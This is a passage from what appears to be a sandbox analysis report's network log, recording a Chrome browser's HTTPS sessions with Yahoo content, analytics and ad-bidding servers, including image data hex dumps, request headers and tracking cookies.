2024-01-10 23:27:15 UTC	197	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 03 02 02 02 02 02 03 02 02 02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06 09 08 0a 0a 09 08 09 09 0a 0c 0f 0c 0a 0b 0e 0b 09 09 0d 11 0d 0e 0f 10 10 11 10 0a 0c 12 13 12 10 13 0f 10 10 10 ff db 00 43 01 03 03 03 04 03 04 08 04 04 08 10 0b 09 0b 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ff c0 00 11 08 01 1c 02 18 03 01 11 00 02 11 01 03 11 01 ff c4 00 1d 00 00 01 04 03 01 01 00 00 00 00 00 00 00 00 00 00 08 03 04 06 07 02 05 09 01 00 ff c4 00 54 10 00 01 03 03 02 03 05 04 06 05 07 09 06 04 07 00 01 02 03 04 00 05 11 06 21 07 12 31 08 13 41 51 61 14 22 71 b1 23 32 81 91 a1 Data Ascii: JFIFCCT!1AQa"q#2
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 58 d5 56 b4 09 49 e7 65 c4 f3 24 f5 c6 69 fe 5e 89 7e 66 ca 93 83 5c 39 ba 69 ae 31 bd 7d 69 4e b6 95 28 a3 39 ea 9d f3 4f 18 57 45 6c 93 e4 74 b3 46 dd 1d 4d ad a0 57 d7 c6 a6 45 69 76 4a 13 71 78 a7 3d e5 2b 40 a5 42 52 ee 9d d3 45 4e bb d3 c2 92 0d 2a 07 ae 3d f6 b1 d3 1c 28 82 e2 9e 94 a7 a4 90 79 5a 46 ea 3f 0f 4a 3b 1c e7 ff 00 12 3b 7e f1 53 51 4a 79 3a 79 d6 ed d1 94 4f 2e dc ca ff 00 95 03 11 0f d3 5d b9 78 db a7 ae 02 6c 8d 44 9b 8a 06 3e 89 f4 e0 7e 14 c0 b3 a0 9d 99 3b 71 e9 0e 28 5b e3 c1 bb cb 6e 15 cb 60 eb 0f 38 01 cf a6 4e e3 d7 6a 21 9a 0b 4b 5e a7 b4 dd 9a 4b b1 1d 65 41 43 23 07 34 86 4a 8d ba 00 73 70 84 7d d4 82 5d 1e a5 23 3f 55 3f 75 33 13 15 1b 53 8c 7b 48 46 14 22 12 a2 1d 1f 52 18 e5 e6 9e e2 9e af b4 5c 56 99 13 f1 1c a7 1c b8 Data Ascii: XVIe$i^~f\9i1}iN(9OWEltFMWEivJqx=+@BREN*=(yZF?J;;~SQJy:yO.]xlD>~;q([n`8Nj!K^KeAC#4Jsp}]#?U?u3S{HF"R\V
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 41 56 c0 66 a4 b1 8a b1 f9 2a 50 29 49 c0 f1 a4 21 8a 97 9f b2 90 87 56 bb c4 db 5c a4 4b b7 4a 76 3b e8 20 a5 c6 d4 52 a0 7e 22 88 7e 21 c9 d8 df b6 86 a0 b5 ea 28 fa 3b 5e dd 17 26 34 a5 04 31 29 d3 95 05 93 d1 47 d7 cf ce 90 2d 1d 62 d2 97 c8 97 bb 7b 52 63 38 16 95 20 28 10 7c 0d 20 0d e6 45 3a 1c fb 22 88 47 d9 cd 0b f6 23 1a 14 33 30 c6 69 c6 33 a1 08 e3 c6 a3 ba 37 0e 43 ab 42 f6 f2 a1 97 a2 44 57 10 2e 1f a4 26 49 7b 9b 3f 48 76 f2 a8 bf 64 a9 51 67 59 54 91 1a 32 36 dd 20 d3 cb fd 12 c3 d9 24 8e e8 13 30 da b6 03 15 5a 6e 8b 1f a3 71 36 52 51 6b 21 7f b4 69 47 b2 36 88 05 cd 01 d7 42 86 d9 ab 51 54 09 19 bd 2c 22 4f 2e 3a 20 03 52 a8 91 8c 6c 13 5e 83 2d 4e 30 e1 41 e6 c9 f2 c5 12 44 72 45 97 a7 25 aa 63 ed 15 ab 38 a9 00 48 ba 6c 2e f7 10 80 48 Data Ascii: AVf*P)I!V\KJv; R~"~!(;^&41)G-b{Rc8 (\| E:"G#30i37CBDW.&I{?HvdQgYT26 $0Znq6RQk!iG6BQT,"O.: Rl^-N0ADrE%c8Hl.H
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 53 bd 1e 5f 8d 10 c7 dd e0 f2 fc 68 1a ec 47 dd e7 a5 35 08 e2 77 12 66 ae 23 8f 36 de ca c1 14 a8 91 09 f0 ef 4c aa 5d b8 c9 52 37 5e e4 9a 8f 89 2c 59 23 29 b8 43 b9 b3 05 96 d6 50 13 b1 1b e2 99 93 41 32 65 66 85 29 c7 89 20 e7 6a a9 96 04 e6 f6 e3 6f 7d 70 d0 82 8f 3a 2c 11 21 94 86 ac e8 89 f3 9a 2e b1 09 65 29 4f 36 4a 7a d5 f8 c6 88 f9 95 b5 f7 4e dc 13 71 7b 99 18 c0 c6 3e 14 69 0d 66 76 4d 2a fb b1 94 e2 11 cc a5 75 da 9e 85 64 cf 49 e9 db db 72 d2 86 ad ce b8 01 1b 81 4a 44 76 12 fa 0b 87 13 e7 c6 43 b3 51 84 ab 18 49 15 59 c6 d8 b9 d1 33 7f 82 d6 b9 08 c3 b0 c1 57 f1 52 84 01 f8 c4 9a c1 c2 2b 5c 16 12 1b 86 06 07 8f 8d 48 a0 85 cd b2 5d 6d d0 f0 62 94 e2 23 69 03 cc 52 a0 1c a8 91 31 69 84 ca 42 50 ca 40 1e 42 89 aa 23 b6 3d 65 94 04 80 94 80 Data Ascii: S_hG5wf#6L]R7^,Y#)CPA2ef) jo}p:,!.e)O6JzNq{>ifvM*udIrJDvCQIY3WR+\H]mb#iR1iBP@B#=e
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 2c 0b 4f 00 63 44 52 52 e2 14 73 e3 9a 8a 51 b1 3c f6 48 22 f0 3a d6 cb a1 c3 14 2b e2 69 63 c7 c4 0f 89 64 94 70 c2 d8 88 41 b4 c6 41 27 62 31 56 10 2d 91 0b af 01 6c 13 24 95 2a dc 14 93 f5 93 8e b4 e0 f2 16 b2 f0 2a cb 6d 38 8d 6d 4a 53 fc 34 87 b2 5d 0f 85 76 c6 79 5c 6e 22 32 7a 8f 2a 43 72 26 36 8d 3c cd bd 08 4f 76 9c 24 74 14 34 27 d9 ba f6 76 c8 c7 20 03 e1 45 40 50 e5 86 42 52 36 f8 0a 42 14 08 c1 ce 69 08 53 96 90 8f b6 19 df a5 35 88 c1 72 52 8d cf 41 d6 95 a1 0c 4e a1 83 df 96 39 b0 47 8e 69 b9 12 51 15 d5 dc 41 b7 e9 a6 fd ba 64 a0 1a 2a e5 27 9b 18 f5 a6 17 12 8d e3 97 1e 34 d2 b4 84 fe 69 e1 58 69 78 f7 80 c6 de b4 51 56 c4 d5 1c 72 b8 4f 99 79 d5 93 e5 42 49 52 64 be e3 89 07 c8 9a 0d a5 51 25 d5 b7 2a 41 cd d9 ad f9 ba 7e ca c0 9a 08 5a Data Ascii: ,OcDRRsQ<H":+icdpAA'b1V-l$*m8mJS4]vy\n"2zCr&6<Ov$t4'v E@PBR6BiS5rRAN9GiQAd'4iXixQVrOyBIRdQ%A~Z
2024-01-10 23:27:15 UTC	60	IN	Data Raw: 11 48 47 92 e5 37 11 a2 e3 87 18 19 a4 23 57 17 52 41 97 27 d9 d9 7d 0b 50 df 63 40 e4 1f 0e ac d3 eb 9d 4c ab 0d b9 f9 e3 98 a1 b4 95 10 9a 07 62 8c 6c 8f 68 ad 7c e6 ae b1 a6 e4 Data Ascii: HG7#WRA'}Pc@Lblh\|
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: d3 6b 64 28 6c db 87 de 1f 1a 1b 2c 7c 2a 44 25 cb a5 d1 bd 7e b6 d7 31 c5 33 c8 47 25 3a b0 96 3a 21 1d ab ae 0e 5b f8 67 36 e2 d6 eb 6d 25 41 20 ee 7e 15 22 88 32 54 72 e3 50 6b 9d 47 7a 42 e1 4d b9 bc eb 4a ea 9e 6c 66 a6 c4 8a f9 18 cb 87 d6 e8 8d ea 34 3d 70 6c 16 55 51 6d 2e 51 64 da 12 ac 9d 87 5e 82 97 65 5d a1 80 c9 48 57 20 df 15 ca 65 be 4d 1d e6 ba 5c 69 13 28 b7 6b 53 49 ee 8b 89 da 9d 16 94 1a 23 9c 4d bc d8 99 d2 cf ba e2 d3 d0 e3 ee ab 18 15 c8 a1 bb 5c 68 e7 3e ac 71 b7 ef d2 97 18 92 c0 59 08 ae 93 59 3e 27 09 b3 fc ac be fb 31 59 1d 7f 95 d7 11 9c ac 10 2b b9 f0 49 2c 16 cc cd 97 7d 04 9e a8 b3 46 76 dc af 0f b2 b6 fa 91 55 74 0c fa ea f1 6c b6 1f 62 99 31 0d b8 8e 6f ad b6 6b 91 f3 da e9 3e 8b da f2 bf 65 11 a9 6e cc dc 6e 6e 4a 65 04 Data Ascii: kd(l,\|*D%~13G%::![g6m%A ~"2TrPkGzBMJlf4=plUQm.Qd^e]HW eM\i(kSI#M\h>qYY>'1Y+I,}FvUtlb1ok>ennnJe
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: ce a3 7a 28 50 92 be ca 5b b5 37 12 ed cd e8 39 3e d3 39 2e 24 a4 84 b6 83 95 2b 3e 55 62 2a ca fb 0e 8e 6e 37 35 52 a5 28 f2 72 f7 87 20 75 c5 48 a3 45 19 4a c9 c6 96 b2 4c 9d 2e 34 56 53 f4 8e a8 25 3f 13 43 92 1c 91 26 29 7c 39 58 68 69 7e 10 ea 3b 36 9a 44 d6 c3 aa 53 4d 85 60 f8 d6 1e ce ad 76 8e a3 47 c8 fa 4c 65 1c ba b9 41 b5 85 07 81 c1 42 ba e6 b3 7e 1b e5 c4 e8 d6 d4 5a b3 6f c5 4e 0b 6a 9b 96 8e 75 4c 95 a5 61 a2 e0 42 46 33 b7 4c e6 b5 75 35 7b b6 72 be 57 72 fa 4c 01 ae da 26 f7 1e 41 fa 0e 6e 62 4f 96 2b a3 c5 0b 68 e6 32 3b ec 2f 3b 2d e9 86 90 cb 49 94 d7 2a c3 40 e3 ca ba 9c 32 f9 7c 3d 15 72 fd 45 ff 00 af 6c 71 22 58 1d 79 a6 c7 30 e8 6a c6 a6 79 4a 44 0f d1 ce 1e 39 4e 43 9a 91 d4 20 83 ba ab 13 ce c9 b9 96 35 bd 95 4b f2 95 80 08 ae Data Ascii: z(P[79>9.$+>Ubn75R(r uHEJL.4VS%?C&)\|9Xhi~;6DSM`vGLeAB~ZoNjuLaBF3Lu5{rWrL&AnbO+h2;/;-I@2\|=rElq"Xy0jyJD9NC 5K
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 8f d9 27 9c 41 e2 2c 38 da 55 e9 72 6e 0d b4 ce 0f 32 94 7a 54 ab a4 52 8a fa e8 a2 34 0e bb 9b 7e 8f 26 5d 81 5d f4 70 be 50 b5 24 8c fa e2 a1 72 ec 9f 2a a2 2b a9 6e 1a 92 e7 ac 5c 5d cd fc 23 3f d1 b7 ee 81 f9 d3 26 1c 15 c6 ca 3b b4 a2 1c 7e dc cd 96 12 48 76 6b 98 2a ea 39 47 5f 9d 68 60 ec cd d9 76 ca 8b 4d 70 f6 24 24 09 12 49 5a fc 79 aa c3 2a 47 d1 66 70 be df 02 47 10 2c d6 e4 b6 95 21 52 52 0e de 5b d0 4e 24 94 75 3a d9 a6 21 bd a3 fb a4 b0 9e 65 35 81 b7 a5 55 9c 53 f6 49 8e 7c 1d a0 61 72 ce 61 71 9d b8 08 61 2b 42 d5 cd 92 3d 6a 15 a4 bf 32 ff 00 fc 46 49 52 0a 5d 45 65 83 23 44 3a db 91 da ff 00 c3 10 3d ce 9b 7c 6a 58 2a 66 74 9f 23 97 3a c9 10 62 ea 7b 9c 35 24 25 2c ca 71 29 df d7 ad 6a 61 95 15 d9 27 d0 7c 40 81 a6 5c 69 c4 2c 85 01 ca Data Ascii: 'A,8Urn2zTR4~&]]pP$r+n\]#?&;~Hvk9G_h`vMp$$IZyGfpG,!RR[N$u:!e5USI\|araqa+B=j2FIR]Ee#D:=\|jXft#:b{5$%,q)ja'\|@\i,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
211	192.168.2.4	49977	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	1171	OUT	GET /_td_api/beacon/info?event=activate&spaceId=1197802003&version=1.1.52&scope=https://www.yahoo.com/&subscription_endpoint=null&metadataTime=2&src=notification-sw&code=info HTTP/1.1 Host: www.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/service-worker.js Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:15 UTC	1138	IN	HTTP/1.1 204 No Content referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-powered-by: Express content-type: image/gif content-security-policy-report-only: default-src 'self'; report-uri https://csp.yahoo.com/beacon/csp?src=fendr_beaconeater.media.yahoo.com date: Wed, 10 Jan 2024 23:27:15 GMT x-envoy-upstream-service-time: 2 server: ATS Age: 0 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=31ag7alipu9uj&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
212	192.168.2.4	49955	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	387	OUT	GET /cv/apiv2/yahoo_weather_web/accuweather-horizontal.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:15 UTC	813	IN	HTTP/1.1 200 OK x-amz-id-2: NPqqN50PMRslEsDUpVt8Ko33yYq5XRTN0rYi0UYY/T7O8FcNhmxzn+5/oCFHzWeRPGN5H+JNDCE= x-amz-request-id: PR5XZS60JD4X5FKA Date: Mon, 01 Jan 2024 05:39:46 GMT Last-Modified: Thu, 08 Sep 2022 20:32:20 GMT ETag: "d0e45188f6a8f2e8f2528e762fe55d33" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 2331 Referrer-Policy: no-referrer-when-downgrade Age: 841650 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 f0 00 00 00 22 08 03 00 00 00 56 7d a4 84 00 00 00 7b 50 4c 54 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bd 78 1c b0 00 00 00 28 74 52 4e 53 00 05 fa f5 21 0d 6b 36 c0 13 e0 4c b1 b6 e8 d7 1b 7f 85 ac 29 c5 8c 2e a7 92 59 a1 d0 44 ca ec 9b 71 3e ba 77 64 53 5f 87 5f b6 44 00 00 08 27 49 44 41 54 68 de e5 59 e9 ba 9a 30 10 4d 80 b0 c8 a2 08 2e b8 a1 e2 92 f7 7f c2 9e 99 21 88 Data Ascii: PNGIHDR"V}{PLTEx(tRNS!k6L).YDq>wdS__D'IDAThY0M.!
2024-01-10 23:27:15 UTC	1031	IN	Data Raw: d7 f0 ae 4a 35 6c 3b 21 62 45 22 6a a2 e5 52 40 35 1a 72 d3 2f 80 21 32 68 51 79 86 88 be 38 65 36 12 d3 86 d5 5b 3c aa f8 eb fd 5f bf 05 2c 8d 69 8e a7 cc c0 6f 80 5f 20 e9 12 f1 dd e1 1e 12 dd 7b 87 6a a0 da 94 cd f1 d8 4c df 02 7e b4 01 9a 0f e5 b2 50 89 8c 2b 01 be 0b e0 ad 2c c2 33 85 5c d2 ec 15 70 48 41 b2 54 03 1d 48 4f ca 9c b3 cf 62 cc 18 1f 17 b1 57 c6 3b c0 5a b3 9d 3a 18 9f 8d ae 4a 72 48 4d 4a e2 a5 19 db dd f7 f9 12 1b 54 03 cf fb 0e e0 c5 48 86 e7 81 e5 be 97 08 71 67 3b 80 f7 da 96 fc e0 d1 96 b8 22 73 de 0b 61 94 a9 57 87 7e 65 bc 07 cc b9 31 49 3d 4f a4 47 58 b1 28 39 1a 0d 03 1e 53 46 c5 c0 fe 14 b0 50 29 80 4b 59 24 65 dc 9e 25 e5 07 92 68 3a d8 7c 7c e5 f6 dc 0a 82 ec cf d4 cf 3c cc b1 62 7d d4 68 ba 49 4a ea f9 05 38 01 03 46 b2 75 Data Ascii: J5l;!bE"jR@5r/!2hQy8e6[<_,io_ {jL~P+,3\pHATHObW;Z:JrHMJTHqg;"saW~e1I=OGX(9SFP)KY$e%h:\|\|<b}hIJ8Fu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
213	192.168.2.4	49966	34.200.65.202	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	1278	OUT	GET /ups/58692/cms?partner_id=NEUAR&orig=ono HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC=19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z
2024-01-10 23:27:15 UTC	574	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:15 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Thu, 09-Jan-2025 23:27:15 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://aa.agkn.com/adscores/g.pixel?sid=9202214988&yho=y-MfEWbalE2p5Ho5S4sAYrgdODjWOkhRjPQl8-~A Age: 0 Connection: close Server: ATS/9.1.10.94

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
214	192.168.2.4	49967	34.200.65.202	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	1298	OUT	GET /ups/58699/cms?partner_id=SEMAS&orig=ono&sInitiator=external HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC=19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z
2024-01-10 23:27:15 UTC	607	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:15 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Thu, 09-Jan-2025 23:27:15 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://uipglob.semasio.net/oath/1/info?sType=sync&_sdv&sExtCookieId=y-74rnzl5E2oNwzhZe6ductkiMFlajFMua0IQ-~A&sInitiator=external Age: 0 Connection: close Server: ATS/9.1.10.94

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
215	192.168.2.4	49971	3.92.156.8	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	1254	OUT	POST /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Content-Length: 1196 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json x-openrtb-version: 2.5 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
